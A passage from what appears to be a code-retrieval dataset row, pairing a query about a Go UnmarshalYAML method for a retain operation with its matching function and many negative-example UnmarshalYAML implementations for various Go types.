\"0.5931437\"\n]"},"document_score":{"kind":"string","value":"0.70097476"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106179,"cells":{"query":{"kind":"string","value":"UnmarshalYAML will unmarshal YAML into a retain operation"},"document":{"kind":"string","value":"func (op *OpRetain) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Fields)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn nil\n}","func (e *ExternalOptimizeForConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}","func (cd *ContainerDef) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype rawContainerDef ContainerDef\n\traw := rawContainerDef{Essential: true} // If essential is not specified, we want it to be true\n\tif err := unmarshal(&raw); err != nil {\n\t\treturn err\n\t}\n\n\t*cd = ContainerDef(raw)\n\treturn nil\n}","func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}","func (this *Write) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// new temp as map[string]interface{}.\n\ttemp := make(map[string]interface{})\n\n\t// unmarshal temp as yaml.\n\tif err := unmarshal(temp); err != nil {\n\t\treturn err\n\t}\n\n\treturn this.unmarshal(temp)\n}","func (msg *RawMessage) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tmsg.unmarshal = unmarshal\n\treturn nil\n}","func yamlUnmarshal(y []byte, o interface{}, strict bool, opts ...JSONOpt) error {\n\tvo := reflect.ValueOf(o)\n\tunmarshalFn := yaml.Unmarshal\n\tif strict {\n\t\tunmarshalFn = yaml.UnmarshalStrict\n\t}\n\tj, err := yamlToJSON(y, &vo, unmarshalFn)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error converting YAML to JSON: %v\", err)\n\t}\n\n\terr = jsonUnmarshal(bytes.NewReader(j), o, opts...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error unmarshaling JSON: %v\", err)\n\t}\n\n\treturn nil\n}","func (b *extraKV) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&b.Kv)\n}","func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}","func (y *PipelineYml) Unmarshal() error {\n\n\terr := yaml.Unmarshal(y.byteData, &y.obj)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif y.obj == nil {\n\t\treturn errors.New(\"PipelineYml.obj is nil pointer\")\n\t}\n\n\t//err = y.Evaluate(applyEnvsWithPriority(y.metadata.publicTemplateVars, y.metadata.secretTemplateVars))\n\t//if err != nil {\n\t//\treturn err\n\t//}\n\n\t// re unmarshal to obj, because byteData updated by evaluate\n\terr = yaml.Unmarshal(y.byteData, &y.obj)\n\treturn err\n}","func (o *Op) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar typeDecoder map[string]rawMessage\n\terr := unmarshal(&typeDecoder)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn o.unmarshalDecodedType(typeDecoder)\n}","func (r *Connection) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype tmp Connection\n\tvar s struct {\n\t\ttmp `yaml:\",inline\"`\n\t}\n\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to parse YAML: %s\", err)\n\t}\n\n\t*r = Connection(s.tmp)\n\n\tif err := utils.ValidateTags(r); err != nil {\n\t\treturn err\n\t}\n\n\t// If options weren't specified, create an empty map.\n\tif r.Options == nil {\n\t\tr.Options = make(map[string]interface{})\n\t}\n\n\treturn nil\n}","func (f *Fixed8) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\terr := unmarshal(&s)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn f.setFromString(s)\n}","func (r *rawMessage) UnmarshalYAML(b []byte) error {\n\t*r = b\n\treturn nil\n}","func (i *Transform) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = ParseTransformString(s)\n\treturn err\n}","func UnmarshalYAML(config *YAMLConfiguration, path string) {\n\tdata, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\terr = yaml.Unmarshal(data, config)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tos.Exit(1)\n\t}\n}","func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tif aliased.Type, _, err = docs.GetInferenceCandidateFromYAML(nil, docs.TypeTracer, aliased.Type, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}","func (b *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar strVal string\n\terr := unmarshal(&strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\tparsed, err := Parse(strVal)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*b = parsed\n\treturn nil\n}","func (f *Flag) UnmarshalYAML(node *yaml.Node) error {\n\ttag := GetTag(node.Value)\n\tf.Name = tag.Name\n\tf.Negates = tag.Negates\n\tlog.Tracef(\"Unmarshal %s into %s\\n\", node.Value, tag)\n\treturn nil\n}","func (bc *ByteCount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar u64 uint64\n\tif unmarshal(&u64) == nil {\n\t\tAtomicStoreByteCount(bc, ByteCount(u64))\n\n\t\treturn nil\n\t}\n\n\tvar s string\n\tif unmarshal(&s) == nil {\n\t\tv, err := ParseByteCount(s)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"%q: %w: %v\", s, ErrMalformedRepresentation, err)\n\t\t}\n\t\tAtomicStoreByteCount(bc, v)\n\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"%w: unexpected type\", ErrMalformedRepresentation)\n}","func UnmarshalYAML(yml []byte) (map[string]ZNode, error) {\n\tvar root map[string]ZNode\n\tvar err = yaml.Unmarshal(yml, &root)\n\treturn root, err\n}","func (k *Ktype) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar ktyp string\n\terr := unmarshal(&ktyp)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*k = KeventNameToKtype(ktyp)\n\treturn nil\n}","func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}","func (s *Secret) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain Secret\n\treturn unmarshal((*plain)(s))\n}","func (b *Bool) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate bool\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tb.set(candidate)\n\treturn nil\n}","func (a *RelabelAction) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tswitch act := RelabelAction(strings.ToLower(s)); act {\n\tcase RelabelReplace, RelabelKeep, RelabelDrop, RelabelHashMod, RelabelLabelMap, RelabelLabelDrop, RelabelLabelKeep:\n\t\t*a = act\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"unknown relabel action %q\", s)\n}","func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}","func (re *Regexp) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tr, err := NewRegexp(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*re = r\n\treturn nil\n}","func (mv *Move) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMove(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*mv = *parsed\n\treturn nil\n}","func unmarsharlYaml(byteArray []byte) Config {\n\tvar cfg Config\n\terr := yaml.Unmarshal([]byte(byteArray), &cfg)\n\tif err != nil {\n\t\tlog.Fatalf(\"error: %v\", err)\n\t}\n\treturn cfg\n}","func (e *ExternalJavaPackagePrefixConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}","func (key *PrivateKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\terr := unmarshal(&str)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*key, err = NewPrivateKey(str)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (s *Store) UnmarshalYAML(unmarshal func(interface{}) error) (err error) {\n\ttype storeYAML map[string]map[string]entryYAML\n\n\tsy := make(storeYAML, 0)\n\n\terr = unmarshal(&sy)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*s = NewStore()\n\tfor groupID, group := range sy {\n\t\tfor entryID, entry := range group {\n\t\t\tentry.e.setGroup(groupID)\n\t\t\tif err = s.add(entryID, entry.e); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func (s *MaporEqualSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \"=\")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}","func (s *ArtifactoryParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain ArtifactoryParams\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (p *Package) UnmarshalYAML(value *yaml.Node) error {\n\tpkg := &Package{}\n\tpkg.Present = true // present gets set to true because they wouldn't mention it otherwise\n\tvar err error // for use in the switch below\n\n\tlog.Trace().Interface(\"Node\", value).Msg(\"Pkg UnmarshalYAML\")\n\tif value.Tag != \"!!map\" {\n\t\treturn fmt.Errorf(\"unable to unmarshal yaml: value not map (%s)\", value.Tag)\n\t}\n\n\tfor i, node := range value.Content {\n\t\tlog.Trace().Interface(\"node1\", node).Msg(\"\")\n\t\tswitch node.Value {\n\t\tcase \"name\":\n\t\t\tpkg.Name = value.Content[i+1].Value\n\t\t\tif pkg.Name == \"\" {\n\t\t\t\treturn nil\n\t\t\t}\n\t\tcase \"version\":\n\t\t\tpkg.Version = value.Content[i+1].Value\n\t\tcase \"present\":\n\t\t\tpkg.Present, err = strconv.ParseBool(value.Content[i+1].Value)\n\t\t\tif err != nil {\n\t\t\t\tlog.Error().Err(err).Msg(\"can't parse installed field\")\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\tlog.Trace().Interface(\"pkg\", pkg).Msg(\"what's in the box?!?!\")\n\t*p = *pkg\n\n\treturn nil\n}","func (i *UserGroupAccess) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = UserGroupAccessString(s)\n\treturn err\n}","func (at *SecurityCheck) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar res map[string]interface{}\n\tif err := unmarshal(&res); err != nil {\n\t\treturn err\n\t}\n\terr := mapstructure.Decode(res, &at)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif at.TestType == common.NonApplicableTest || at.TestType == common.ManualTest {\n\t\tat.NonApplicable = true\n\t}\n\treturn nil\n}","func (s *GitEvent) UnmarshalYAML(n *yaml.Node) error {\n\tvar j string\n\terr := yaml.Unmarshal([]byte(n.Value), &j)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Note that if the string cannot be found then it will be set to the zero value, 'Push' in this case.\n\t*s = toID[j]\n\treturn nil\n}","func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar addRaw opAddRaw\n\terr := unmarshal(&addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}","func (d *duration) UnmarshalYAML(unmashal func(interface{}) error) error {\n\tvar s string\n\tif err := unmashal(&s); err != nil {\n\t\treturn err\n\t}\n\tdur, err := time.ParseDuration(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = duration(dur)\n\treturn nil\n}","func (ln *LabelName) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\tif !LabelName(s).IsValid() {\n\t\treturn fmt.Errorf(\"%q is not a valid label name\", s)\n\t}\n\t*ln = LabelName(s)\n\treturn nil\n}","func (m *Mount) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Alias Mount\n\taux := &struct {\n\t\tPropagation string `yaml:\"propagation\"`\n\t\t*Alias\n\t}{\n\t\tAlias: (*Alias)(m),\n\t}\n\tif err := unmarshal(&aux); err != nil {\n\t\treturn err\n\t}\n\t// if unset, will fallback to the default (0)\n\tif aux.Propagation != \"\" {\n\t\tval, ok := MountPropagationNameToValue[aux.Propagation]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unknown propagation value: %s\", aux.Propagation)\n\t\t}\n\t\tm.Propagation = MountPropagation(val)\n\t}\n\treturn nil\n}","func (l *LogLevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tp string\n\tunmarshal(&tp)\n\tlevel, exist := LogLevelMapping[tp]\n\tif !exist {\n\t\treturn errors.New(\"invalid mode\")\n\t}\n\t*l = level\n\treturn nil\n}","func (s *MaporSpaceSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \" \")\n\tif err != nil {\n\t\treturn err\n\t}\n\t*s = parts\n\treturn nil\n}","func (loglevel *Loglevel) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar loglevelString string\n\terr := unmarshal(&loglevelString)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tloglevelString = strings.ToLower(loglevelString)\n\tswitch loglevelString {\n\tcase \"error\", \"warn\", \"info\", \"debug\":\n\tdefault:\n\t\treturn fmt.Errorf(\"Invalid loglevel %s Must be one of [error, warn, info, debug]\", loglevelString)\n\t}\n\n\t*loglevel = Loglevel(loglevelString)\n\treturn nil\n}","func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t}\n\n\tvar spec docs.ComponentSpec\n\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\n\t\treturn fmt.Errorf(\"line %v: %w\", value.Line, err)\n\t}\n\n\tif spec.Plugin {\n\t\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"line %v: %v\", value.Line, err)\n\t\t}\n\t\taliased.Plugin = &pluginNode\n\t} else {\n\t\taliased.Plugin = nil\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}","func (v *LabelSet) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tlbSet := model.LabelSet{}\n\terr := unmarshal(&lbSet)\n\tif err != nil {\n\t\treturn err\n\t}\n\tv.LabelSet = lbSet\n\treturn nil\n}","func (date *Date) UnmarshalYAML(value *yaml.Node) (err error) {\n\tvar d string\n\tif err = value.Decode(&d); err != nil {\n\t\treturn err\n\t}\n\t// check data format\n\tif err := checkDateFormat(d); err != nil {\n\t\treturn err\n\t}\n\n\t*date = Date(d)\n\treturn nil\n}","func (d *Document) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&d.raw); err != nil {\n\t\treturn err\n\t}\n\n\tif err := d.init(); err != nil {\n\t\treturn fmt.Errorf(\"verifying YAML data: %s\", err)\n\t}\n\n\treturn nil\n}","func (s *Step) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// unmarshal into stepUnmarshaller instead of Step for dynamic unmarshalling Request/Expect\n\tvar unmarshaled stepUnmarshaller\n\tif err := unmarshal(&unmarshaled); err != nil {\n\t\treturn err\n\t}\n\n\ts.Title = unmarshaled.Title\n\ts.Description = unmarshaled.Description\n\ts.Vars = unmarshaled.Vars\n\ts.Protocol = unmarshaled.Protocol\n\ts.Include = unmarshaled.Include\n\ts.Ref = unmarshaled.Ref\n\ts.Bind = unmarshaled.Bind\n\ts.Timeout = unmarshaled.Timeout\n\ts.PostTimeoutWaitingLimit = unmarshaled.PostTimeoutWaitingLimit\n\ts.Retry = unmarshaled.Retry\n\n\tp := protocol.Get(s.Protocol)\n\tif p == nil {\n\t\tif unmarshaled.Request != nil || unmarshaled.Expect != nil {\n\t\t\treturn errors.Errorf(\"unknown protocol: %s\", s.Protocol)\n\t\t}\n\t\treturn nil\n\t}\n\tif unmarshaled.Request != nil {\n\t\tinvoker, err := p.UnmarshalRequest(unmarshaled.Request)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\ts.Request = invoker\n\t}\n\tbuilder, err := p.UnmarshalExpect(unmarshaled.Expect)\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.Expect = builder\n\n\treturn nil\n}","func (gc *GroupConfiguration) UnmarshalYAML(value *yaml.Node) error {\n\tif value.Kind != yaml.MappingNode {\n\t\treturn errors.New(\"expected mapping\")\n\t}\n\n\tgc.versions = make(map[string]*VersionConfiguration)\n\tvar lastId string\n\n\tfor i, c := range value.Content {\n\t\t// Grab identifiers and loop to handle the associated value\n\t\tif i%2 == 0 {\n\t\t\tlastId = c.Value\n\t\t\tcontinue\n\t\t}\n\n\t\t// Handle nested version metadata\n\t\tif c.Kind == yaml.MappingNode {\n\t\t\tv := NewVersionConfiguration(lastId)\n\t\t\terr := c.Decode(&v)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"decoding yaml for %q\", lastId)\n\t\t\t}\n\n\t\t\tgc.addVersion(lastId, v)\n\t\t\tcontinue\n\t\t}\n\n\t\t// $payloadType: \n\t\tif strings.EqualFold(lastId, payloadTypeTag) && c.Kind == yaml.ScalarNode {\n\t\t\tswitch strings.ToLower(c.Value) {\n\t\t\tcase string(OmitEmptyProperties):\n\t\t\t\tgc.PayloadType.Set(OmitEmptyProperties)\n\t\t\tcase string(ExplicitCollections):\n\t\t\t\tgc.PayloadType.Set(ExplicitCollections)\n\t\t\tcase string(ExplicitProperties):\n\t\t\t\tgc.PayloadType.Set(ExplicitProperties)\n\t\t\tdefault:\n\t\t\t\treturn errors.Errorf(\"unknown %s value: %s.\", payloadTypeTag, c.Value)\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// No handler for this value, return an error\n\t\treturn errors.Errorf(\n\t\t\t\"group configuration, unexpected yaml value %s: %s (line %d col %d)\", lastId, c.Value, c.Line, c.Column)\n\t}\n\n\treturn nil\n}","func (options *Options) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype defaults Options\n\tdefaultValues := defaults(*NewOptions())\n\n\tif err := unmarshal(&defaultValues); err != nil {\n\t\treturn err\n\t}\n\n\t*options = Options(defaultValues)\n\n\tif options.SingleLineDisplay {\n\t\toptions.ShowSummaryFooter = false\n\t\toptions.CollapseOnCompletion = false\n\t}\n\n\t// the global options must be available when parsing the task yaml (todo: does order matter?)\n\tglobalOptions = options\n\treturn nil\n}","func (i *Int) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate int\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\ti.set(candidate)\n\treturn nil\n}","func (v *Int8) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar val int8\n\tif err := unmarshal(&val); err != nil {\n\t\treturn err\n\t}\n\tv.Val = val\n\tv.IsAssigned = true\n\treturn nil\n}","func (f *Float64) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate float64\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tf.set(candidate)\n\treturn nil\n}","func (d *Rate) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\trate, err := ParseRate(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = rate\n\treturn nil\n}","func (m *OrderedMap[K, V]) UnmarshalYAML(b []byte) error {\n\tvar s yaml.MapSlice\n\tif err := yaml.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\tif len(s) == 0 {\n\t\treturn nil\n\t}\n\tresult := OrderedMap[K, V]{\n\t\tidx: map[K]int{},\n\t\titems: make([]OrderedMapItem[K, V], len(s)),\n\t}\n\tfor i, item := range s {\n\t\tkb, err := yaml.Marshal(item.Key)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvar k K\n\t\tif err := yaml.Unmarshal(kb, &k); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvb, err := yaml.Marshal(item.Value)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvar v V\n\t\tif err := yaml.UnmarshalWithOptions(vb, &v, yaml.UseOrderedMap(), yaml.Strict()); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tresult.idx[k] = i\n\t\tresult.items[i].Key = k\n\t\tresult.items[i].Value = v\n\t}\n\t*m = result\n\treturn nil\n}","func (moves *Moves) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar mvList []string\n\tif err := unmarshal(&mvList); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMoves(mvList)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*moves = parsed\n\treturn nil\n}","func (tf *Taskfile) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&tf.Tasks); err == nil {\n\t\ttf.Version = \"1\"\n\t\treturn nil\n\t}\n\n\tvar taskfile struct {\n\t\tVersion string\n\t\tExpansions int\n\t\tOutput string\n\t\tIncludes yaml.MapSlice\n\t\tVars Vars\n\t\tEnv Vars\n\t\tTasks Tasks\n\t}\n\tif err := unmarshal(&taskfile); err != nil {\n\t\treturn err\n\t}\n\ttf.Version = taskfile.Version\n\ttf.Expansions = taskfile.Expansions\n\ttf.Output = taskfile.Output\n\tincludes, defaultInclude, err := IncludesFromYaml(taskfile.Includes)\n\tif err != nil {\n\t\treturn err\n\t}\n\ttf.Includes = includes\n\ttf.IncludeDefaults = defaultInclude\n\ttf.Vars = taskfile.Vars\n\ttf.Env = taskfile.Env\n\ttf.Tasks = taskfile.Tasks\n\tif tf.Expansions <= 0 {\n\t\ttf.Expansions = 2\n\t}\n\treturn nil\n}","func (c *PushoverConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultPushoverConfig\n\ttype plain PushoverConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\tif c.UserKey == \"\" {\n\t\treturn fmt.Errorf(\"missing user key in Pushover config\")\n\t}\n\tif c.Token == \"\" {\n\t\treturn fmt.Errorf(\"missing token in Pushover config\")\n\t}\n\treturn checkOverflow(c.XXX, \"pushover config\")\n}","func (i *ImportDefinition) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\n\tif err := unmarshal(&s); err == nil {\n\t\ti.File = s\n\t\treturn nil\n\t}\n\tvar str struct {\n\t\tFile string `yaml:\"file,omitempty\"`\n\t\tRepository string `yaml:\"repository,omitempty\"`\n\t\tNamespaceURI string `yaml:\"namespace_uri,omitempty\"`\n\t\tNamespacePrefix string `yaml:\"namespace_prefix,omitempty\"`\n\t}\n\tif err := unmarshal(&str); err != nil {\n\t\treturn err\n\t}\n\ti.File = str.File\n\ti.Repository = str.Repository\n\ti.NamespaceURI = str.NamespaceURI\n\ti.NamespacePrefix = str.NamespacePrefix\n\treturn nil\n}","func (rl *RunList) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar runSlice []*Run\n\tsliceCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runSlice) },\n\t\tAssign: func() { *rl = runSlice },\n\t}\n\n\tvar runItem *Run\n\titemCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *rl = RunList{runItem} },\n\t}\n\n\treturn marshal.UnmarshalOneOf(sliceCandidate, itemCandidate)\n}","func (l *TestLimits) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif defaultTestLimits != nil {\n\t\t*l = *defaultTestLimits\n\t}\n\ttype plain TestLimits\n\treturn unmarshal((*plain)(l))\n}","func (m *Manifest) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tmp map[string]interface{}\n\tif err := unmarshal(&tmp); err != nil {\n\t\treturn err\n\t}\n\n\tdata, err := json.Marshal(tmp)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn json.Unmarshal(data, m)\n}","func (i *Interface) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = InterfaceString(s)\n\treturn err\n}","func (s *TokenStrategy) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar t string\n\terr := unmarshal(&t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif val, ok := toStrategy[strings.ToLower(t)]; ok {\n\t\t*s = val\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"'%s' is not a valid token strategy\", t)\n}","func (w *CommandWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar err error\n\tvar str string\n\tif err = unmarshal(&str); err == nil {\n\t\tw.Command = str\n\t\treturn nil\n\t}\n\n\tvar commandArray []string\n\tif err = unmarshal(&commandArray); err == nil {\n\t\tw.Commands = commandArray\n\t\treturn nil\n\t}\n\treturn nil //TODO: should be an error , something like UNhhandledError\n}","func (e *External) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar boolType bool\n\tif err := unmarshal(&boolType); err == nil {\n\t\te.External = boolType\n\t\treturn nil\n\t}\n\n\tvar structType = struct {\n\t\tName string\n\t}{}\n\tif err := unmarshal(&structType); err != nil {\n\t\treturn err\n\t}\n\tif structType.Name != \"\" {\n\t\te.External = true\n\t\te.Name = structType.Name\n\t}\n\treturn nil\n}","func (a *ApprovalStrategy) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar j string\n\tif err := unmarshal(&j); err != nil {\n\t\treturn err\n\t}\n\t// Note that if the string cannot be found then it will be set to the zero value, 'Created' in this case.\n\t*a = approvalStrategyToID[strings.ToLower(j)]\n\treturn nil\n}","func (key *PublicKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\terr := unmarshal(&str)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*key, err = NewPublicKey(str)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (t *Type) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar value string\n\tif err := unmarshal(&value); err != nil {\n\t\treturn err\n\t}\n\n\tif err := t.Set(value); err != nil {\n\t\treturn fmt.Errorf(\"failed to parse '%s' to Type: %v\", value, err)\n\t}\n\n\treturn nil\n}","func unmarshalStrict(data []byte, out interface{}) error {\n\tdec := yaml.NewDecoder(bytes.NewReader(data))\n\tdec.KnownFields(true)\n\tif err := dec.Decode(out); err != nil && !errors.Is(err, io.EOF) {\n\t\treturn err\n\t}\n\treturn nil\n}","func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn docs.NewLintError(value.Line, docs.LintFailedRead, err.Error())\n\t}\n\n\tvar spec docs.ComponentSpec\n\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\n\t\treturn docs.NewLintError(value.Line, docs.LintComponentMissing, err.Error())\n\t}\n\n\tif spec.Plugin {\n\t\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\n\t\tif err != nil {\n\t\t\treturn docs.NewLintError(value.Line, docs.LintFailedRead, err.Error())\n\t\t}\n\t\taliased.Plugin = &pluginNode\n\t} else {\n\t\taliased.Plugin = nil\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}","func (d *DataType) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar val string\n\tif err := unmarshal(&val); err != nil {\n\t\treturn err\n\t}\n\treturn d.FromString(val)\n}","func unmarsharlYaml(byteArray []byte) Config {\n var cfg Config\n err := yaml.Unmarshal([]byte(byteArray), &cfg)\n if err != nil {\n log.Fatalf(\"error: %v\", err)\n }\n return cfg\n}","func LoadYaml(data []byte) ([]runtime.Object, error) {\n\tparts := bytes.Split(data, []byte(\"---\"))\n\tvar r []runtime.Object\n\tfor _, part := range parts 